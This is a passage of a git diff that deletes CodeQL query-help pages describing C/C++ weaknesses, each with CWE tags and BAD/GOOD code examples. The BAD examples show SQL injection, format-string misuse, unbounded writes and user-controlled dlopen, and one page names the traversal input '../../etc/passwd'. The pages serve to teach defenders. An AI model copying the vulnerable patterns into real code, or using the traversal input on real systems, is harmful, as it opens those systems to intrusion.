Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck2.md b/docs/language/query-help/cpp/SizeCheck2.md deleted file mode 100644 index 2767a32eb9f..00000000000 --- a/docs/language/query-help/cpp/SizeCheck2.md +++ /dev/null @@ -1,41 +0,0 @@ -# Not enough memory allocated for array of pointer type - -``` -ID: cpp/suspicious-allocation-size -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck2.ql) - -When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain a multiple of the size of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -The highlighted call allocates memory that is not a multiple of the size of the pointer type, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. - - -## Example - -```cpp -#define RECORD_SIZE 30 //incorrect or outdated size for record -typedef struct { - char name[30]; - int status; -} Record; - -void f() { - Record* p = malloc(RECORD_SIZE * 4); //wrong: not a multiple of the size of Record - p[3].status = 1; //will most likely segfault - ... -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SnprintfOverflow.md b/docs/language/query-help/cpp/SnprintfOverflow.md deleted file mode 100644 index 7236604daf4..00000000000 --- a/docs/language/query-help/cpp/SnprintfOverflow.md +++ /dev/null @@ -1,66 +0,0 @@ -# Potentially overflowing call to snprintf - -``` -ID: cpp/overflowing-snprintf -Kind: problem -Severity: warning -Precision: high -Tags: reliability correctness security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/SnprintfOverflow.ql) - -The return value of a call to `snprintf` is the number of characters that *would have* been written to the buffer assuming there was sufficient space. In the event that the operation reaches the end of the buffer and more than one character is discarded, the return value will be greater than the buffer size. This can cause incorrect behaviour, for example: - - -## Example - -```cpp -#define BUF_SIZE (32) - -int main(int argc, char *argv[]) -{ - char buffer[BUF_SIZE]; - size_t pos = 0; - int i; - - for (i = 0; i < argc; i++) - { - pos += snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); - // BUF_SIZE - pos may overflow - } -} - -``` - -## Recommendation -The return value of `snprintf` should always be checked if it is used, and values larger than the buffer size should be accounted for. - - -## Example - -```cpp -#define BUF_SIZE (32) - -int main(int argc, char *argv[]) -{ - char buffer[BUF_SIZE]; - size_t pos = 0; - int i; - - for (i = 0; i < argc; i++) - { - int n = snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); - if (n < 0 || n >= BUF_SIZE - pos) - { - break; - } - pos += n; - } -} - -``` - -## References -* cplusplus.com: [snprintf](http://www.cplusplus.com/reference/cstdio/snprintf/). -* Red Hat Customer Portal: [The trouble with snprintf](https://access.redhat.com/blogs/766093/posts/1976193). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SqlTainted.md b/docs/language/query-help/cpp/SqlTainted.md deleted file mode 100644 index 3550a38f5df..00000000000 --- a/docs/language/query-help/cpp/SqlTainted.md +++ /dev/null @@ -1,43 +0,0 @@ -# Uncontrolled data in SQL query - -``` -ID: cpp/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql) - -The code passes user input as part of a SQL query without escaping special elements. It generates a SQL query using `sprintf`, with the user-supplied data directly passed as an argument to `sprintf`. This leaves the code vulnerable to attack by SQL Injection. - - -## Recommendation -Use a library routine to escape characters in the user-supplied string before converting it to SQL. - - -## Example - -```c -int main(int argc, char** argv) { - char *userName = argv[2]; - - // BAD - char query1[1000] = {0}; - sprintf(query1, "SELECT UID FROM USERS where name = \"%s\"", userName); - runSql(query1); - - // GOOD - char userNameSql[1000] = {0}; - encodeSqlString(userNameSql, 1000, userName); - char query2[1000] = {0}; - sprintf(query2, "SELECT UID FROM USERS where name = \"%s\"", userNameSql); - runSql(query2); -} - -``` - -## References -* Microsoft Developer Network: [SQL Injection](http://msdn.microsoft.com/en-us/library/ms161953.aspx). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/StrncpyFlippedArgs.md b/docs/language/query-help/cpp/StrncpyFlippedArgs.md deleted file mode 100644 index bac8fb2f8eb..00000000000 --- a/docs/language/query-help/cpp/StrncpyFlippedArgs.md +++ /dev/null @@ -1,34 +0,0 @@ -# Possibly wrong buffer size in string copy - -``` -ID: cpp/bad-strncpy-size -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/StrncpyFlippedArgs.ql) - -The standard library function `strncpy` copies a source string to a destination buffer. The third argument defines the maximum number of characters to copy and should be less than or equal to the size of the destination buffer. Calls of the form `strncpy(dest, src, strlen(src))` or `strncpy(dest, src, sizeof(src))` incorrectly set the third argument to the size of the source buffer. Executing a call of this type may cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully, and ensure that the size parameter is derived from the size of the destination buffer, not the source buffer. - - -## Example - -```cpp -strncpy(dest, src, sizeof(src)); //wrong: size of dest should be used -strncpy(dest, src, strlen(src)); //wrong: size of dest should be used - -``` - -## References -* cplusplus.com: [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md deleted file mode 100644 index 1b04c565439..00000000000 --- a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md +++ /dev/null @@ -1,43 +0,0 @@ -# Suspicious add with sizeof - -``` -ID: cpp/suspicious-add-sizeof -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql) - -Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. - -This query finds code of the form `p + k*sizeof(T)`. Such code is usually a mistake because there is no need to manually scale the offset by `sizeof(T)`. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `char*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. - -## Example - -```cpp -int example1(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // BAD: the offset is already automatically scaled by sizeof(int), - // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int))); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md deleted file mode 100644 index 83bbb8c6d2a..00000000000 --- a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md +++ /dev/null @@ -1,36 +0,0 @@ -# Potentially unsafe call to strncat - -``` -ID: cpp/unsafe-strncat -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousCallToStrncat.ql) - -The standard library function `strncat` appends a source string to a target string. The third argument defines the maximum number of characters to append and should be less than or equal to the remaining space in the destination buffer. Calls of the form `strncat(dest, src, strlen(dest))` or `strncat(dest, src, sizeof(dest))` set the third argument to the entire size of the destination buffer. Executing a call of this type may cause a buffer overflow unless the buffer is known to be empty. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider updating the function call to include the remaining space in the destination buffer. - - -## Example - -```cpp -strncat(dest, src, strlen(dest)); //wrong: should use remaining size of dest - -strncat(dest, src, sizeof(dest)); //wrong: should use remaining size of dest. - //Also fails if dest is a pointer and not an array. - -``` - -## References -* cplusplus.com: [strncat](http://www.cplusplus.com/reference/clibrary/cstring/strncat/), [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). -* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4, 2005. -* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room, 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousSizeof.md b/docs/language/query-help/cpp/SuspiciousSizeof.md deleted file mode 100644 index 803a5b0b073..00000000000 --- a/docs/language/query-help/cpp/SuspiciousSizeof.md +++ /dev/null @@ -1,32 +0,0 @@ -# Suspicious 'sizeof' use - -``` -ID: cpp/suspicious-sizeof -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-467 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousSizeof.ql) - -This rule finds expressions that take the size of a function parameter of array type. In C, function parameters of array type are treated as if they had the corresponding pointer type, so their size is always the size of the pointer type (typically either four or eight). In particular, one cannot determine the size of a memory buffer passed as a parameter in this way. Using the `sizeof` operator on pointer types will produce unexpected results if the developer intended to get the size of an array instead of the pointer. - - -## Recommendation -Modify the function to take an extra argument indicating the buffer size. - - -## Example - -```cpp -void f(char s[]) { - int size = sizeof(s); //wrong: s is now a char*, not an array. - //sizeof(s) will evaluate to sizeof(char *) -} - -``` - -## References -* Comp.lang.c, Frequently Asked Questions: [Question 6.3: So what is meant by the "equivalence of pointers and arrays" in C?](http://c-faq.com/aryptr/aryptrequiv.html). -* Common Weakness Enumeration: [CWE-467](https://cwe.mitre.org/data/definitions/467.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md deleted file mode 100644 index 5497f31fb2a..00000000000 --- a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md +++ /dev/null @@ -1,74 +0,0 @@ -# Time-of-check time-of-use filesystem race condition - -``` -ID: cpp/toctou-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-367 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-367/TOCTOUFilesystemRace.ql) - -Often it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon. - -However, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior. - - -## Recommendation -Wherever possible, use functions that operate on file descriptors rather than file names (for example, `fchmod` rather than `chmod`). - -For access checks, you can temporarily change the UID and GID to that of the user whose permissions are being checked, and then perform the operation. This has the effect of "atomically" combining a permissions check with the operation. - -If file-system locking tools are available on your platform, then locking the file before the check can prevent an unexpected update. However, note that on some platforms (for example, Unix) file-system locks are typically *advisory*, and so can be ignored by an attacker. - - -## Example -The following example shows a case where a file is opened and then, if the opening was successful, its permissions are changed with `chmod`. However, an attacker might change the target of the file name between the initial opening and the permissions change, potentially changing the permissions of a different file. - - -```c -char *file_name; -FILE *f_ptr; - -/* Initialize file_name */ - -f_ptr = fopen(file_name, "w"); -if (f_ptr == NULL) { - /* Handle error */ -} - -/* ... */ - -if (chmod(file_name, S_IRUSR) == -1) { - /* Handle error */ -} -``` -This can be avoided by using `fchmod` with the file descriptor that was received from opening the file. This ensures that the permissions change is applied to the very same file that was opened. - - -```c -char *file_name; -int fd; - -/* Initialize file_name */ - -fd = open( - file_name, - O_WRONLY | O_CREAT | O_EXCL, - S_IRWXU -); -if (fd == -1) { - /* Handle error */ -} - -/* ... */ - -if (fchmod(fd, S_IRUSR) == -1) { - /* Handle error */ -} -``` - -## References -* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification). -* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedAllocationSize.md b/docs/language/query-help/cpp/TaintedAllocationSize.md deleted file mode 100644 index 728632b2e17..00000000000 --- a/docs/language/query-help/cpp/TaintedAllocationSize.md +++ /dev/null @@ -1,41 +0,0 @@ -# Overflow in uncontrolled allocation size - -``` -ID: cpp/uncontrolled-allocation-size -Kind: path-problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-190 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/TaintedAllocationSize.ql) - -This code calculates an allocation size by multiplying a user input by a `sizeof` expression. Since the user input has no apparent guard on its magnitude, this multiplication can overflow. When an integer multiply overflows in C, the result can wrap around and be much smaller than intended. A later attempt to put data into the allocated buffer can then overflow. - - -## Recommendation -Guard all integer parameters that come from an external user. Implement a guard with the expected range for the parameter and make sure that the input value meets both the minimum and maximum requirements for this range. If the input value fails this guard then reject the request before proceeding further. If the input value passes the guard then subsequent calculations should not overflow. - - -## Example - -```c -int factor = atoi(getenv("BRANCHING_FACTOR")); - -// GOOD: Prevent overflow by checking the input -if (factor < 0 || factor > 1000) { - log("Factor out of range (%d)\n", factor); - return -1; -} - -// This line can allocate too little memory if factor -// is very large. -char **root_node = (char **) malloc(factor * sizeof(char *)); - -``` -This code shows one way to guard that an input value is within the expected range. If `factor` fails the guard, then an error is returned, and the value is not used as an argument to the subsequent call to `malloc`. Without this guard, the allocated buffer might be too small to hold the data intended for it. - - -## References -* The CERT Oracle Secure Coding Standard for C: [INT04-C. Enforce limits on integer values originating from tainted sources](https://www.securecoding.cert.org/confluence/display/c/INT04-C.+Enforce+limits+on+integer+values+originating+from+tainted+sources). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedCondition.md b/docs/language/query-help/cpp/TaintedCondition.md deleted file mode 100644 index d948d658d14..00000000000 --- a/docs/language/query-help/cpp/TaintedCondition.md +++ /dev/null @@ -1,45 +0,0 @@ -# Untrusted input for a condition - -``` -ID: cpp/tainted-permissions-check -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-807 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-807/TaintedCondition.ql) - -This rule finds code where untrusted inputs are used in an `if` statement, and the body of that statement makes a security decision. This is an example of CWE-807 and makes the program vulnerable to attack. An attacker might be able to gain unauthorized access to the system by manipulating external inputs to the system. - - -## Recommendation -In most cases, you need to add or strengthen the checks made on the user-supplied data to ensure its integrity. The user-supplied data can then be used as a trusted input to the security decision. For example, instead of checking an HTTP cookie against a predictable fixed string, check a cookie against a randomly generated session key. - -This rule may highlight a few conditions where user-supplied data has been checked and can be trusted. It is not always possible to determine if the checks applied to data are enough to ensure security. - - -## Example -The following example is included in CWE 807. - - -```c -struct hostent *hp;struct in_addr myaddr; -char* tHost = "trustme.example.com"; -myaddr.s_addr=inet_addr(ip_addr_string); - -hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET); -if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) { - trusted = true; -} else { - trusted = false; -} - -``` -In this example, the result of a reverse DNS query is compared against a fixed string. An attacker can return an incorrect reverse DNS entry for the requesting IP and thus gain the same access as a legitimate user from `trustme.example.com`. - -To fix the problem in this example, you need to add an additional mechanism to test the user-supplied data. For example, numeric IP addresses could be used. - - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedPath.md b/docs/language/query-help/cpp/TaintedPath.md deleted file mode 100644 index 552c4bae0ca..00000000000 --- a/docs/language/query-help/cpp/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: cpp/path-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the filesystem. - - -## Recommendation -Validate user input before using it to construct a filepath. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the filesystem). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Ideally use a whitelist of known good patterns. - -## Example -In this example, a username and file are read from the arguments to main and then used to access a file in the user's home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This could potentially allow them to access all the system's passwords. - - -```c -int main(int argc, char** argv) { - char *userAndFile = argv[2]; - - { - char fileBuffer[FILENAME_MAX] = "/home/"; - char *fileName = fileBuffer; - size_t len = strlen(fileName); - strncat(fileName+len, userAndFile, FILENAME_MAX-len-1); - // BAD: a string from the user is used in a filename - fopen(fileName, "wb+"); - } - - { - char fileBuffer[FILENAME_MAX] = "/home/"; - char *fileName = fileBuffer; - size_t len = strlen(fileName); - // GOOD: use a fixed file - char* fixed = "jim/file.txt"; - strncat(fileName+len, fixed, FILENAME_MAX-len-1); - fopen(fileName, "wb+"); - } -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TooFewArguments.md b/docs/language/query-help/cpp/TooFewArguments.md deleted file mode 100644 index 42d00e6e211..00000000000 --- a/docs/language/query-help/cpp/TooFewArguments.md +++ /dev/null @@ -1,42 +0,0 @@ -# Call to function with fewer arguments than declared parameters - -``` -ID: cpp/too-few-arguments -Kind: problem -Severity: error -Precision: very-high -Tags: correctness maintainability security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Underspecified%20Functions/TooFewArguments.ql) - -A function is called with fewer arguments than there are parameters of the function. - -This may indicate that an incorrect function is being called, or that the signature (parameter list) of the called function is not known to the author. - -In C, function calls generally need to provide the same number of arguments as there are arguments to the function. (Variadic functions can accept additional arguments.) Providing fewer arguments than there are parameters is extremely dangerous, as the called function will nevertheless try to obtain the missing arguments' values, either from the stack or from machine registers. As a result, the function may behave unpredictably. - -If the called function *modifies* a parameter corresponding to a missing argument, it may alter the state of the program upon its return. An attacker could use this to, for example, alter the control flow of the program to access forbidden resources. - - -## Recommendation -Call the function with the correct number of arguments. - - -## Example - -```c -void one_argument(); - -void calls() { - one_argument(1); // GOOD: `one_argument` will accept and use the argument - - one_argument(); // BAD: `one_argument` will receive an undefined value -} - -void one_argument(int x); - -``` - -## References -* SEI CERT C Coding Standard: [ DCL20-C. Explicitly specify void when a function accepts no arguments ](https://wiki.sei.cmu.edu/confluence/display/c/DCL20-C.+Explicitly+specify+void+when+a+function+accepts+no+arguments) \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnboundedWrite.md b/docs/language/query-help/cpp/UnboundedWrite.md deleted file mode 100644 index 70b2f98e2df..00000000000 --- a/docs/language/query-help/cpp/UnboundedWrite.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unbounded write - -``` -ID: cpp/unbounded-write -Kind: path-problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/UnboundedWrite.ql) - -The program performs a buffer copy or write operation with no upper limit on the size of the copy. An unexpectedly long input that reaches this code will cause the buffer to overflow. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf` etc. In general 'n-variant' functions should be preferred. - - -## Example - -```c -void congratulateUser(const char *userName) -{ - char buffer[80]; - - // BAD: this could overflow the buffer if the UserName is long - sprintf(buffer, "Congratulations, %s!", userName); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the call to `sprintf` may overflow `buffer`. This occurs if the argument `userName` is very long, such that the resulting string is more than the 80 characters allowed. - -To fix the problem the call to `sprintf` should be replaced with `snprintf`, specifying a maximum length of 80 characters. - - -## References -* CERT C++ Coding Standard: [STR50-CPP. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/cplusplus/STR50-CPP.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatString.md b/docs/language/query-help/cpp/UncontrolledFormatString.md deleted file mode 100644 index 5a9f830019c..00000000000 --- a/docs/language/query-help/cpp/UncontrolledFormatString.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled format string - -``` -ID: cpp/tainted-format-string -Kind: path-problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql) - -The program uses input from the user as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. - -The results of this rule do not include inputs from the user that are transferred through global variables. Those can be found in the related rule "Uncontrolled format string (through global variable)". - - -## Recommendation -Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. - - -## Example - -```c -#include - -void printWrapper(char *str) { - printf(str); -} - -int main(int argc, char **argv) { - // This should be avoided - printf(argv[1]); - - // This should be avoided too, because it has the same effect - printWrapper(argv[1]); - - // This is fine - printf("%s", argv[1]); -} -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md deleted file mode 100644 index 5191c3edec4..00000000000 --- a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled format string (through global variable) - -``` -ID: cpp/tainted-format-string-through-global -Kind: path-problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatStringThroughGlobalVar.ql) - -The program uses input from the user, propagated via a global variable, as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. - -This rule only identifies inputs from the user that are transferred through global variables before being used in `printf` style functions. Analyzing the flow of data through global variables is more prone to errors and so this rule may identify some examples of code where the input is not really from the user. For example, when a global variable is set in two places, one that comes from the user and one that does not. In this case we would mark all usages of the global variable as input from the user, but the input from the user may always came after the call to the `printf` style functions. - -The results of this rule should be considered alongside the related rule "Uncontrolled format string" which tracks the flow of the values input by a user, excluding global variables, until the values are used as the format argument for a `printf` like function call. - - -## Recommendation -Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. - - -## Example - -```c -#include - -char *copy; - -void copyArgv(char **argv) { - copy = argv[1]; -} - -void printWrapper(char *str) { - printf(str); -} - -int main(int argc, char **argv) { - copyArgv(argv); - - // This should be avoided - printf(copy); - - // This should be avoided too, because it has the same effect - printWrapper(copy); - - // This is fine - printf("%s", copy); -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledProcessOperation.md b/docs/language/query-help/cpp/UncontrolledProcessOperation.md deleted file mode 100644 index 56896c33bd3..00000000000 --- a/docs/language/query-help/cpp/UncontrolledProcessOperation.md +++ /dev/null @@ -1,46 +0,0 @@ -# Uncontrolled process operation - -``` -ID: cpp/uncontrolled-process-operation -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-114 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql) - -The code passes user input directly to `system`, `dlopen`, `LoadLibrary` or some other process or library routine. As a result, the user can cause execution of arbitrary code. - - -## Recommendation -If possible, use hard-coded string literals for the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user-input string is safe before using it. - - -## Example - -```c -int main(int argc, char** argv) { - char *lib = argv[2]; - - // BAD: the user can cause arbitrary code to be loaded - void* handle = dlopen(lib, RTLD_LAZY); - - // GOOD: only hard-coded libraries can be loaded - void* handle2; - - if (!strcmp(lib, "inmem")) { - handle2 = dlopen("/usr/share/dbwrap/inmem", RTLD_LAZY); - } else if (!strcmp(lib, "mysql")) { - handle2 = dlopen("/usr/share/dbwrap/mysql", RTLD_LAZY); - } else { - die("Invalid library specified\n"); - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UninitializedLocal.md b/docs/language/query-help/cpp/UninitializedLocal.md deleted file mode 100644 index 41a3c38e030..00000000000 --- a/docs/language/query-help/cpp/UninitializedLocal.md +++ /dev/null @@ -1,61 +0,0 @@ -# Potentially uninitialized local variable - -``` -ID: cpp/uninitialized-local -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-665 external/cwe/cwe-457 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UninitializedLocal.ql) - -A local non-static variable of a non-class type has an undefined value before it is initialized. For example, it is incorrect to rely on an uninitialized integer to have the value `0`. - - -## Recommendation -Review the code and consider whether the variable should have an initializer or whether some path through the program lacks an assignment to the variable. - - -## Example -The function `absWrong` does not initialize the variable `j` in the case where `i = 0`. Functions 